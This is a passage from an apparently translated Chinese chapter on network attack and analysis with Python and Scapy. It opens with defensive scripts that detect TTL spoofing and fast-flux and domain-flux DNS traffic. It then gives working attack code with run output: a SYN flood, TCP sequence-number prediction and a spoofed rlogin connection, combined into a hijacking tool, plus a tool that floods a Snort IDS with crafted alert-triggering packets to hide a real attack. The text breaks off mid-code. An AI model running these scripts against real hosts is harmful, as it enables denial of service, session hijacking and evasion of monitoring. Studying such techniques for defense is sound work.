192.168.1.7.2601: Flags [S], cksum 0xc0c4 (correct), seq 690560664, win 3072, options [mss 1460], length 0 14:56:41.307069 IP (tos 0x0, ttl 13, id 63795, offset 0, flags [none], proto TCP (6), length 44) 用 Scapy 解析 TTL 字段 让我们开始编写我们的脚本来打印源地址和数据包里面的 TTL 值。这一点上, 在本章的剩余部分我们会使用 Scapy 库,你也可以简单的使用 Dpkt 库来编写 这个代码。我们将建立一个函数 testTTL()来嗅探每一个经过的数据包,检查数 据包的 IP 层,抽取 IP 地址和 TTL 字段并打印字段在屏幕上。 from scapy.all import * def testTTL(pkt): try: if pkt.haslayer(IP): ipsrc = pkt.getlayer(IP).src ttl = str(pkt.ttl) print '[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl except: pass def main(): sniff(prn=testTTL, store=0) if __name__ == '__main__': main() 运行我们的代码,我们看到我们已经从不同的地址收到几个带有不同的 TTL 的 数据包。这些结果也包括来自 8.8.8.8 的 TTL 为 13 的诱饵扫描。我们知道 TTL 应该是 64-13=51 跳,我们可以认为有人伪造数据包。应该注意一点, LInux/Unix 系统上通常初始 TTL 值为 64,而 Windows 系统初始 TTL 值为 128。为了我们脚本的目的,我们假设我们只解析来自 Linux 扫描的数据包,所 以让我们增加一个函数来检查实际接受的 TTL。 analyst# python printTTL.py [+] Pkt Received From: 192.168.1.7 with TTL: 64 [+] Pkt Received From: 173.255.226.98 with TTL: 52 [+] Pkt Received From: 8.8.8.8 with TTL: 13 [+] Pkt Received From: 8.8.8.8 with TTL: 13 [+] Pkt Received From: 192.168.1.7 with TTL: 64 [+] Pkt Received From: 173.255.226.98 with TTL: 52 [+] Pkt Received From: 8.8.8.8 with TTL: 13 我们的函数 checkTTL()需要一个 IP 源地址和对应的 TTL 值作为输入并输出 TTL 是否有效的信息。首先,让我们用一个条件与语句快速的消除死人 IP 地址 的数据包(10.0.0.0–10.255.255.255, 172.16.0.0–172.31.255.255, 和 192.168.0.0– 192.168.255.255)。为此,我们导入 IPy 库,为了避免和 Scapy 的 IP 类冲突, 我们把它作为 IPTEST,如果 IPTEST(ipsrc).iptype()返回‘PRIVATE‘,我们变忽 略检查这个数据包。 我们从相同的源地址收到了不少的独特的数据包,我们只需要检查源地址一次。 如果先前我们没看到源地址,让我们构建一个目的地址与源地址相同的 IP 数据 包。此外,我们将制作一个 ICMP 数据包与目的地址向回应。一旦目标地址回 应,我们将 TTL 值放在字典中,通过 IP 源地址索引,我们再来检查实际收到的 TTL 值和原始数据包里面的 TTL 值。数据包可能会走不同的路线来到达目的地, 造成 TTL 不同,然而,如果跳数的距离相差五跳,我们可以假定,它可能是一 个欺骗性的 TTL,并打印警告信息在屏幕上。 from IPy import IP as IPTEST ttlValues = {} THRESH = 5 def checkTTL(ipsrc, ttl): if IPTEST(ipsrc).iptype() == 'PRIVATE': return if not ttlValues.has_key(ipsrc): pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0) ttlValues[ipsrc] = pkt.ttl if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH: print('\n[!] Detected Possible Spoofed Packet From: ' + ipsrc) print('[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc])) 我们添加一些选项解析来指定要监听的地址,然后通过一个选项来设定阀值来 产生最终的代码。少于 50 行的代码,我们拥有是数十年前 Moore 为五角大楼 困境的解决方案。 # coding=UTF-8 import time import optparse from scapy.all import * from IPy import IP as IPTEST ttlValues = {} THRESH = 5 def checkTTL(ipsrc, ttl): if IPTEST(ipsrc).iptype() == 'PRIVATE': return if not ttlValues.has_key(ipsrc): pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0) ttlValues[ipsrc] = pkt.ttl if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH: print('\n[!] Detected Possible Spoofed Packet From: ' + ipsrc) print('[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc])) def testTTL(pkt): try: if pkt.haslayer(IP): ipsrc = pkt.getlayer(IP).src ttl = str(pkt.ttl) print('[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl) except: pass def main(): parser = optparse.OptionParser("usage%prog -i -t ") parser.add_option('-i', dest='iface', type='string', help='specify network interface') parser.add_option('-t', dest='thresh', type='int', help='specify threshold count ') (options, args) = parser.parse_args() if options.iface == None: conf.iface = 'eth0' else: conf.iface = options.iface if options.thresh != None: THRESH = options.thresh else: THRESH = 5 sniff(prn=testTTL, store=0) if __name__ == '__main__': main() 运行我们的代码,我们可以看到它正确的识别了诱饵 Nmap 扫描,来自 8.8.8.8 的扫描。需要注意的是,我们的值产生于一个默认的 Linux 初始 TTL 值 64,尽管 RFC 1700 推荐的默认 TTL 值是 64,但是 Windows 系统还是将 128 作为 TTL 的默认初始值。此外,其他一些 Unix 变种的系统有着不同的 TTL 值。现在我们假定产生数据包的系统为 Linux。 analyst# python spoofDetect.py –i eth0 –t 5 [!] Detected Possible Spoofed Packet From: 8.8.8.8 [!] TTL: 13, Actual TTL: 53 [!] Detected Possible Spoofed Packet From: 8.8.8.8 [!] TTL: 13, Actual TTL: 53 [!] Detected Possible Spoofed Packet From: 8.8.8.8 [!] TTL: 13, Actual TTL: 53 [!] Detected Possible Spoofed Packet From: 8.8.8.8 [!] TTL: 13, Actual TTL: 53 <..SNIPPED..> Storm 的 FAST 流量和 Conficker 的 Domain 流量 2007 年,安全研究人员确认一种新技术,曾被臭名昭著的 Storm 僵尸网络使用。 这种技术称为 Fast 流量,利用 DNS 记录隐藏命令从而控制 Storm 僵尸网络。 DNS 服务是通常是转换域名到 IP 地址的。当 DNS 服务返回一个结果时,他还 指定了 TTL,在主机检查之前任然有效。 Storm 僵尸网络的攻击者为了命令和控制服务器而频繁的改变 DNS 记录。事实 上,他们使用的 2000 多个主机散步在 50 个国家 384 个供应商。为了命令和控 制主机,攻击者频繁的替换 IP 地址,确保 DNS 返回很短的 TTL 结果。IP 地址 的 Fast 流量令安全人员很难确认被命令和控制的僵尸网络,更难让服务器脱机。 Fast 很难从 Storm 僵尸网络卸载下来,类似的技术次年用于辅助感染了两百多 个国家的 7 百多万电脑。Conficker 蠕虫是目前为止最成功的计算机蠕虫,通过 攻击 Windows 的 SMB 协议漏洞来传播。一旦被感染,脆弱的主机连接到一个 命名和控制服务器等待进一步指示。确认和阻止和命令控制主机通讯对于停止 攻击是完全有必要的。然而,Conficker 蠕虫使用当前的 UTC 时间和日期每三 个小时就产生不同的域名。对 Conficker 迭代意味着每三个小时将产生 50000 个域。攻击者只需要注册极少的域名到真是的 IP 就可以命令和控制服务 器。这使得拦截和阻止命令和控制服务器的流量很困难。因此技术人员将它命 名为 Domain 流量。 在下面的章节中,我们将编写一些 Python 脚本来检测识别外界的 Fast 流量和 Domain 流量攻击。 你的 NDS 知道一些你不知道的事吗? 为了确认外界的 Fast 流量和 Domain 流量,让我们快速审查一下 DNS,通过查 看域名请求时产生的流量。为了明白这些,让我们执行域名查询操作。注意, 我们的域名服务器在 192.168.1.1,翻译域名到 74.117.114.119 的 IP 地址。 analyst# nslookup whitehouse.com Server: 192.168.1.1 Address: 192.168.1.1#53 Non-authoritative answer: Name: whitehouse.com Address: 74.117.114.119 用 tcpdump 检查 NDS 流量,我们可以看到客户端 192.168.13.37 发送了一个 DNS 请求给 192.168.1.1,。特别是客户端生成了 DNS 快速记录(DNSQR)请求 Ipv4 地址,服务器响应增加 DNS 资源记录(DNSRR)并提供 IP 地址。 analyst# tcpdump -i eth0 –nn 'udp port 53' 07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+ A? whitehouse.com. (32) 07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962 1/0/0 A 74.117.114.119 (48) 使用 Scapy 解析 DNS 流量 当我们用 Scapy 研究 DNS 协议请求,我们可以看到包含在每一个 A 记录的 DNSQR 包含了请求名(qname),请求类型(qtype)和请求类(qclass)。为了上述 要求,我们要请求域名的 Ipv4 地址,让 qname 字段等于域名。DNS 服务响应 通过添加 DNSRR 包含资源名称(rrname),类型(type),资源记录类(rclass)和 TTL。知道 Fast 流量和 Domain 流量是怎么工作的,我们现在可以使用 Scapy 编写 Python 脚本分析可确认可以的 DNS 流量。 analyst# scapy Welcome to Scapy (2.0.1) >>>ls(DNSQR) qname : DNSStrField = (‘’) qtype : ShortEnumField = (1) qclass : ShortEnumField = (1) >>>ls(DNSRR) rrname : DNSStrField = (‘’) type : ShortEnumField = (1) rclass : ShortEnumField = (1) ttl : IntField = (0) rdlen : RDLenField = (None) rdata : RDataField = (‘’) 欧洲网络与信息安全机构通过了一个分析网络流量极好的资源。他们提供了一 个光盘 ISO 镜像,包含了一些网络捕获和练习。你可以从下面网站下载: http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvd-iso- images。练习 7 提供了一个练习 Fast 流量行为的例子的 PCAP。此外你可能希 望被间谍软件或者恶意软件感染的虚拟机在活动前在受控的实验环境安全检查 流量。为了我们的目的,让我们假设你现在有一个捕获的网络流量包 fastFlux.pcap 包含了一些你想要分析的 NDS 流量。 用 Scapy 检测 Fast 流量 让我们编写 Python 脚本阅读 pcap 并分析所有的包含 DNSRR 的数据包。 Scapy 功能强大,haslayer()函数将协议类型作为输入,并返回一个布尔值。如 果数据包包含一个 DNSRR,我们将抽取包含适当域名和 IP 地址的 rname 和 rdata 变量。我们可以检查我们维护的域名字典,通过域名索引。如果是我之前 见过的域名,我们将看看它是否与先前的 IP 地址相关联。如果它有一个不同以 前的 IP 地址,我们将增加到我们维护的字典。相反,如果我们发现了一个新域 名,我们添加它到我们的字典。我们添加这个域名的 IP 地址作为存储我们字典 值的数组的第一个元素。 这看起来有些复杂,但是我们想能够存储所有的域名和他们关联的不同的 IP 地 址。为了检测 Fast 流量,我们需要知道那个域名有多个 IP 地址。在研究所有 的数据包之后,我们打印所有的域名和每个域名的多个 IP 地址。 from scapy.all import * dnsRecords = {} def handlePkt(pkt): if pkt.haslayer(DNSRR): rrname = pkt.getlayer(DNSRR).rrname rdata = pkt.getlayer(DNSRR).rdata if dnsRecords.has_key(rrname): if rdata not in dnsRecords[rrname]: dnsRecords[rrname].append(rdata) else: dnsRecords[rrname] = [] dnsRecords[rrname].append(rdata) def main(): pkts = rdpcap('fastFlux.pcap') for pkt in pkts: handlePkt(pkt) for item in dnsRecords: print('[+] '+item+' has '+str(len(dnsRecords[item])) + ' unique IPs.') if __name__ == '__main__': main() 运行我们的代码,我们可以看到至少有四个域名与多个 IP 相对应。所有的死四 个域名在过去实际上被 Fast 流量所利用。 analyst# python testFastFlux.py [+] ibank-halifax.com. has 100,379 unique IPs. [+] armsummer.com. has 14,233 unique IPs. [+] boardhour.com. has 11,900 unique IPs. [+] swimhad.com. has 11, 719 unique IPs. 用 Scapy 检测 Domain 流量 接下来,我们开始分析被 Conficker 蠕虫感染的机器。你可以感染你自己的机器 或者下载一些捕获的样本。许多第三方网站包含不同的 Conficker 捕获。由于 Conficker 蠕虫利用 Domain 流量,我们需要查看服务器包含未知域名的错误信 息的响应。不同版本的 Conficker 蠕虫生成几种 DNS。因为几个域名是伪造的, 为了掩盖真实的命令控制服务器。大多数 DNS 服务器缺乏将域名转换成真实的 地址并替代生成的错误的信息的能力。让我们通过确认所有的包含 name- error 信息的 DNS 响应来确认 Domain 流量。为了得到完整的 Conficker 蠕虫使 用过的域名列表,我们可以在 http://www.cert.at/downloads/data/conficker_en.html 找到。 from scapy.all import * def dnsQRTest(pkt): if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53: rcode = pkt.getlayer(DNS).rcode qname = pkt.getlayer(DNSQR).qname if rcode == 3: print('[!] Name request lookup failed: ' + qname) return True else: return False def main(): unAnsReqs = 0 pkts = rdpcap('domainFlux.pcap') for pkt in pkts: if dnsQRTest(pkt): unAnsReqs = unAnsReqs + 1 print('[!] '+str(unAnsReqs)+' Total Unanswered Name Requests') if __name__ == '__main__': main() 注意当我们运行脚本时,我们可以看到一些用于 Conficker 蠕虫 Domain 流量的 实际域名。成功!我们可以确认攻击。在下一节里让我们用我们的分析技能重 新审视一下发生在 15 年前的复杂的攻击。 analyst# python testDomainFlux.py [!] Name request lookup failed: tkggvtqvj.org. [!] Name request lookup failed: yqdqyntx.com. [!] Name request lookup failed: uvcaylkgdpg.biz. [!] Name request lookup failed: vzcocljtfi.biz. [!] Name request lookup failed: wojpnhwk.cc. [!] Name request lookup failed: plrjgcjzf.net. [!] Name request lookup failed: qegiche.ws. [!] Name request lookup failed: ylktrupygmp.cc. [!] Name request lookup failed: ovdbkbanqw.com. <..SNIPPED..> [!] 250 Total Unanswered Name Requests 凯文米特尼克和 TCP 序列预测 1996 年 2 月 16 日结束了一个臭名昭著的黑客的统治。其疯狂的犯罪行为包含 盗取价值数百万美元的商业机密。15 年来,凯文米特尼克获得未授权访问计算 机,窃取私人信息,试图抓他的人都厌倦了,但是最后一个针对他的小组抓到 了他。 Tsutomu Shimomura,一个计算物理理学家,帮助逮捕了米特尼克。在 1992 的手机安全听证会后,米特尼克便成为了他的目标。1994 年 12 月,有人 闯入了他家的电脑系统。相信这次攻击是米特尼克并被他的新的攻击方法所着 迷,他本来领导的 LED 团队在第二年开始追踪米特尼克。 他好奇攻击向量是什么,以前从没见到过,米特尼克用了一个方法劫持了 TCP 会话。这种技术被称为 TCP 序列预测,攻击缺乏随机性的序列号跟踪单个 网络连接。这个技术接合 IP 地址欺骗,允许米特尼克劫持他家电脑的一个连接。 在下面的章节中,我们将重现并编写米特尼克曾经使用过的 TCP 序列预测的工 具和攻击。 你自己的 TCP 序列预测 米特尼克攻击过的机器有一个可靠的远程连接服务协议。这个远程服务能访问 米特尼克的受害者,通过运行在 TCP 513 端口上的远程登陆协议(rlogin)。而不 是使用公钥协商或者是密码方式,rlogin 使用了一个不安全的认证方法---检查 源 IP 地址。因此,为了攻击 Shimomura 的电脑米特尼克必须 1.找到一个可信 的服务器;2.沉默的可信服务器;3.欺骗来自服务器的连接;4.盲目的欺骗正确 的 TCP 三次握手包的 ACK 包。听起来比实际上更难,1994 年 1 月 25 日, Shimomura 发布了这次攻击的详细描述在新闻博客上。通过看他发布的技术细 节分析这次攻击,我们将编写一个 Python 脚本来执行类似的攻击。 在米特尼克确认了 Shimomura 的私人电脑上有一个可靠的远程服务,他需要那 个机器沉默。如果机器注意到尝试使用他的 IP 地址欺骗连接,机器将会发送重 置数据包关闭连接。为了让机器沉默,米特尼克发送了一类咧的 TCP SYN 包到 服务器的登陆端口。被称为 SYN 洪水攻击,这个攻击充满了服务器的连接序列 并保持它的响应。从 Shimomura 发布的细节来看,我们看到一系列的 TCP SYN 包发送到目标主机的登陆端口。 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096 <..SNIPPED..? 用 Scapy 制作 SYN 洪水 用 Scapy 简单的复制一个 TCP SYN 洪水攻击,我们将制作一些 IP 数据包,有 递增的 TCP 源端口和不断的 TCP 513 目标端口。 from scapy.all import * def synFlood(src, tgt): for sport in range(1024, 65535): IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=sport, dport=513) pkt = IPlayer / TCPlayer send(pkt) src = "10.1.1.2" tgt = "192.168.1.3" synFlood(src, tgt) 运行攻击发送 TCP SYN 数据包耗尽目标主机资源,填满它的连接队列,基本瘫 痪目标发送 TCP 重置包的能力。 mitnick# python synFlood.py . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . <..SNIPPED..> 计算 TCP 序列号 现在攻击变得有一些有趣了。随着远程服务器的沉默,米特尼克可以欺骗目标 的 TCP 连接。然而,这取决于他发送伪造的 SYN 的能力,Shimomura 机器 TCP 连接后的一个 TCP ACK 数据包。为了完成连接,米特尼克需要需要正确的 猜到 TCP ACK 的序列号,因为他无法观察到他,并返回一个正确的猜测的 TCP ACK 序列号。为了正确计算 TCP 序列号,米特尼克从名为 apollo.it.luc.edu 的 大学机器发送了一系列的 SYN 数据包,收到 SYN 之后,Shimomura 的机器的 终端响应了一个带序列号的 TCP ACK 数据包注意下面隐藏技术细节的序列号: 2022080000, 2022208000, 2022336000, 2022464000。每个增量相差 128000,这让计算正确的 TCP 序列号更加容易。( 注意,大多数现代的操作系 统今天提供更强大的随机 TCP 序列号。) 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0 <..SNIPPED..> 为了在 Python 中重现,我们将发送 TCP SYN 数据包并等待 TCP SYN-ACK 数据 包。一旦收到,我们将从 ACK 中剥离 TCP 序列号并打印到屏幕上。我们进重复 4 次确认一个规律的存在。注意,使用 Scapy,我们不需要完整的 TCP 和 IP 字 段:Scapy 将用值填充他们。此外,它将从我们默认的源地址发送。我们的新 函数 callSYN()将会接受一个 IP 地址返回写一个 ACK 序列号(当前的序列号加上 变化)。 from scapy.all import * def calTSN(tgt): seqNum = 0 preNum = 0 diffSeq = 0 for x in range(1, 5): if preNum != 0: preNum = seqNum pkt = IP(dst=tgt) / TCP() ans = sr1(pkt, verbose=0) seqNum = ans.getlayer(TCP).seq diffSeq = seqNum - preNum print '[+] TCP Seq Difference: ' + str(diffSeq) return seqNum + diffSeq tgt = "192.168.1.106" seqNum = calTSN(tgt) print "[+] Next TCP Sequence Number to ACK is: "+str(seqNum+1) 运行我们的代码攻击一个脆弱的目标,我们可以看到 TCP 系列号的随机性是不 存在的,目标和 Shimomura 的机器有相同的序列号差值。注意,默认情况下, Scapy 会使用默认的目标 TCP 端口 80。目标必须有一个服务正在监听,不管你 尝试欺骗连接那个端口。 mitnick# python calculateTSN.py [+] TCP Seq Difference: 128000 [+] TCP Seq Difference: 128000 [+] TCP Seq Difference: 128000 [+] TCP Seq Difference: 128000 [+] Next TCP Sequence Number to ACK is: 2024371201 欺骗 TCP 连接 有了正确的 TCP 序列号在手,米特尼克可以攻击了。米特尼克使用的序列号是 2024371200,大约初始化 SYN 后的 150 个 SYN 数据包发送过去用来侦查。首 先,它从新的沉默服务器欺骗了一个连接。然后他发送了一个序列号是 2024371201 盲目的 ACK 数据包,表明已经建立了正确的连接。 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: .ack2024384001 win 4096 在 Python 中重现这些,我们将生成和发送两个数据包。首先我们创建一个 TCP 源端口是 513 和目的端口是 514 的源 IP 地址是欺骗的服务器目的 IP 地址 是目标 IP 地址的 SYN 数据包,接下来,我们创建一个相同的 ACK 数据包,增 加计算的序列号作为额外的字段,并发送它。 from scapy.all import * def spoofConn(src, tgt, ack): IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=513, dport=514) synPkt = IPlayer / TCPlayer send(synPkt) IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=513, dport=514, ack=ack) ackPkt = IPlayer / TCPlayer send(ackPkt) src = "10.1.1.2" tgt = "192.168.1.106" seqNum = 2024371201 spoofConn(src,tgt,seqNum) 将全部代码整合在一起,我们将增加一些命令行选项解析来指定要欺骗连接的 地址,目标服务器,和欺骗地址的初始化 SYN 洪水攻击。 # coding=UTF-8 import optparse from scapy.all import * #SYN洪水攻击 def synFlood(src, tgt): for sport in range(1024, 65535): IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=sport, dport=513) pkt = IPlayer / TCPlayer send(pkt) #预测TCP序列号 def calTSN(tgt): seqNum = 0 preNum = 0 diffSeq = 0 for x in range(1, 5): if preNum != 0: preNum = seqNum pkt = IP(dst=tgt) / TCP() ans = sr1(pkt, verbose=0) seqNum = ans.getlayer(TCP).seq diffSeq = seqNum - preNum print '[+] TCP Seq Difference: ' + str(diffSeq) return seqNum + diffSeq #发送ACk欺骗包 def spoofConn(src, tgt, ack): IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=513, dport=514) synPkt = IPlayer / TCPlayer send(synPkt) IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=513, dport=514, ack=ack) ackPkt = IPlayer / TCPlayer send(ackPkt) def main(): parser = optparse.OptionParser('usage%prog -s -S -t') parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood') parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection') parser.add_option('-t', dest='tgt', type='string', help='specify target address') (options, args) = parser.parse_args() if options.synSpoof == None or options.srcSpoof == None or options.tgt == None: print(parser.usage) exit(0) else: synSpoof = options.synSpoof srcSpoof = options.srcSpoof tgt = options.tgt print('[+] Starting SYN Flood to suppress remote server.') synFlood(synSpoof, srcSpoof) print('[+] Calculating correct TCP Sequence Number.') seqNum = calTSN(tgt) + 1 print('[+] Spoofing Connection.') spoofConn(srcSpoof, tgt, seqNum) print('[+] Done.') if __name__ == '__main__': main() 运行我们最终的脚本,我们成功复制了米特尼克 20 年前的攻击。一度被认为是 史上最复杂的攻击现在被我们用几十行 Python 代码重现。现在手上有了较强的 分析技能,让我们用到下一节描述的方法,一个针对入侵检测系统的复杂网络 攻击的分析。 mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t 192.168.1.106 [+] Starting SYN Flood to suppress remote server. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. <..SNIPPED..> [+] Calculating correct TCP Sequence Number. [+] TCP Seq Difference: 128000 [+] TCP Seq Difference: 128000 [+] TCP Seq Difference: 128000 [+] TCP Seq Difference: 128000 [+] Spoofing Connection. . Sent 1 packets. . Sent 1 packets. [+] Done. 用 Scapy 挫败入侵检测系统 入侵检测系统(IDS)是主管分析师手中一个非常有价值的工具。一个基于网络的 入侵检测系统(NIDS)可以通过记录 IP 网络数据包实时分析流量。通过匹配已知 恶意标记的数据包,IDS 可以在攻击成功之前提醒网络分析师。比如说, Snort 入侵检测系统通过预先包装各种不同的规则来检测不同类型的侦查,攻击, 拒绝服务等其他不同的攻击向量。审查其中一个配置的内容,我们看到四个报 警检测 TFN,tfn2k 和 Trin00 分布式拒绝服务的攻击工具。当攻击者使用 TFN, tfn2k 或者 Trin00 工具攻击目标,IDS 检测到攻击然后警告分析师。然而,当 分析师接受比他们能分辨事件还要多的警告时他该怎么办?他们往往不知所措, 可能会错过重要的攻击细节。 victim# cat /etc/snort/rules/ddos.rules <..SNIPPED..> alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe"; icmp_id:678; itype:8; content:"1234"; reference:arachnids,443; classtype:attempted-recon; sid:221; rev:4;) alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA"; reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;) alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00 Daemon to Master PONG message detected"; content:"PONG"; reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;) alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0; reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;) <...SNIPPED...> 为了对分析师隐藏一个合法的攻击,我们将编写一个工具生成大量的警告让分 析师去处理。此外,分析师能够使用这个工具来验证一个 IDS 能正确的识别恶 意流量。编写这个脚本并不难,我们已经有了生成警告的规则。为此,我们将 再次使用 Scapy 制作数据包。考虑到 DDos TFN 的第一条规则,我们必须生成 一个 ICMP 数据包,ICMP ID 是 678,ICMP 类型是 8 包含原始内容‘1234’的数 据包。使用 Scapy,我们用这些变量制作数据包并发送他们到我们的目的地址。 此外,我们建立其他三个规则的数据包。 from scapy.all import * def ddosTest(src, dst, iface, count): pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG') send(pkt, iface=iface, count=count) pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456) send(pkt, iface=iface, count=count) src="1.3.3.7" dst="192.168.1.106" iface="eth0" count=1 ddosTest(src,dst,iface,count) 运行该脚本,我们看到,四个数据包发送到了目的地址。IDS 将会分析这些数 据包并生成警告,如果他们匹配正确的话。 attacker# python idsFoil.py Sent 1 packets. .Sent 1 packets. Sent 1 packets. Sent 1 packets. 检查 Snort 的警告日志,我们发现我们成功了!所有四个数据包生成的警告全 部 IDS 系统中。 victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf 03/14-07:32:52.034213 [**] [1:221:4] DDOS TFN Probe [**] [Classification: Attempted Information Leak] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106 03/14-07:32:52.037921 [**] [1:222:2] DDOS tfn2k icmp possible communication [**] [Classification: Attempted Denial of Service] [Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106 03/14-07:32:52.042364 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG message detected [**] [Classification: Attempted Information Leak] [Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335 03/14-07:32:52.044445 [**] [1:228:3] DDOS TFN client command BE [**] [Classification: Attempted 让我们看看稍微复杂的规则,Snort 下的 exploit.rules 签名文件。在这里,一系 列的特殊字节将会为 ntalkd x86 Linux 溢出和 Linux mountd 溢出生成警告。 alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT ntalkd x86 Linux overflow"; content:"|01 03 00 00 00 00 00 01 00 02 02 E8|"; reference:bugtraq,210; classtype:attempted-admin; sid:313; rev:4;) alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F"; reference:bugtraq,121; reference:cve,1999-0002; classtype :attempted-admin; sid:315; rev:6;) 为了生成包含原始字节的数据包,我们将利用\x 后面跟随 16 进制字符来编码 字节。在第一个警报,会生成一个数据包将会被 ntalkd Linux 溢出签名所检测 到。第二个数据包,我们将接合 16 进制编码和标准的 ASCII 字符。注意 98|F|编码为\x89 标示包含了原始的字节加了一个 ASCII 字符。下面的数据包将 在试图攻击时生成报警。 def exploitTest(src, dst, iface, count): pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\ xE8") send(pkt, iface=iface, count=count) pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x8 9F") send(pkt, iface=iface, count=count) 最后,它会很好的欺骗一些侦查和扫描。当我们检查 Snort 的扫描规则时发现 两个我们可以制作数据包的规则。两个规则通过特定的端口和特定原始内容的 UDP 协议检测恶意行为。很容易制作这种数据包。 alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN cybercop udp bomb"; content:"cybercop"; reference:arachnids,363; classtype:bad- unknown; sid:636; rev:1;) alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:"SCAN Amanda client version request"; content:"Amanda"; nocase; classtype:attempted- recon; sid:634; rev:2;) 我们生成两个对应规则的扫描工具的数据包。当生成两个合适的 UDP 数据包之 后我们发送到目标主机。 def scanTest(src, dst, iface, count): pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop') send(pkt) pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda') send(pkt, iface=iface, count=count) 现在,我们有数据包可以生成拒绝服务攻击,渗透攻击和扫描侦查的警告。我 们把代码组合在一起,添加一些选项解析。注意,用户必须输入目标地址否则 程序会退出。如果用户没有输入源地址,我们会生成一个随机的源地址。如果 用户不能指定发送制作的数据包多少次,我们将只发送一次。该脚本使用缺省 的网卡 eth0,除非用户指定。虽然我们的目的文本很短,你可以继续添加脚本 生成测试其他攻击类型的警告。 # coding=UTF-8 import optparse from scapy.all import * from random import randint def ddosTest(src, dst, iface, count): pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234') send(pkt, iface=iface, count=count) pkt = 